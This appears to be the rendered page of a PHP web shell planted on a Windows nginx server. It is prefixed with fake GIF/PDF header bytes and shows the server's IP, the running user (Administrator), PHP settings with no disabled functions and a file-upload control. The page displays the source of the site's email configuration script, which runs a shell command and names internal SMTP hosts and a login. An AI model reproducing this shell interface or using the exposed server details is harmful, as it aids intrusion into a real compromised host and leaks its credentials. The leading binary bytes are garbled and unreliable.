GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/email/ |
Upload File : |
<? // email/getHostAddress.phpinc // Check if the IP address is a 192., 10. or other. #$skipAuthentication = true; // Uncomment this line to skip authentication for this page. #require('../application.phpinc'); // Include application setup file. Use a relative path. // See if shell_exec is available. $disabled = explode(', ', ini_get('disable_functions')); #d_Var('$disabled',$disabled); if ( !in_array('shell_exec', $disabled) ) { // Use shell_exec to het host IP addtess. # This is command to execute. $windows_cmd_to_execute = 'cmd /c ipconfig /all|find "IPv4 Address"'; # This executes the command. $result_command = explode("\n",str_replace('IPv4 Address. . . . . . . . . . . : ','',str_replace("(Preferred)",'',shell_exec($windows_cmd_to_execute)))); $ipaddress = $result_command[0]; } else { $ipaddress = $_SERVER['SERVER_ADDR']; } #d_Var('$ipaddress',$ipaddress); $ipNetwork = 'ISP'; $ipaddress = explode('.',$ipaddress); d_Var('$ipaddress',$ipaddress,''); if ( $ipaddress[0] == '10' ) $ipNetwork = 'ridgewater'; if ( $ipaddress[0] != '192' && $ipaddress[0] != '10' ) $ipNetwork = 'hostsite'; $_SESSION['APP']['EMAIL'] = array(); switch ($ipNetwork) { case '_mediacom': $_SESSION['APP']['EMAIL']['Host'] = 'mail.mediacombb.net'; $_SESSION['APP']['EMAIL']['SMTPAuth'] = false; break; case 'ISP': $_SESSION['APP']['EMAIL']['Host'] = 'mail.hutchtel.net'; $_SESSION['APP']['EMAIL']['SMTPAuth'] = true; break; case 'hostsite': case 'ridgewater': $_SESSION['APP']['EMAIL']['Host'] = '134.29.172.135'; $_SESSION['APP']['EMAIL']['SMTPAuth'] = true; $_SESSION['APP']['EMAIL']['Username'] = 'CST'; $_SESSION['APP']['EMAIL']['Password'] = ''; break; } ?>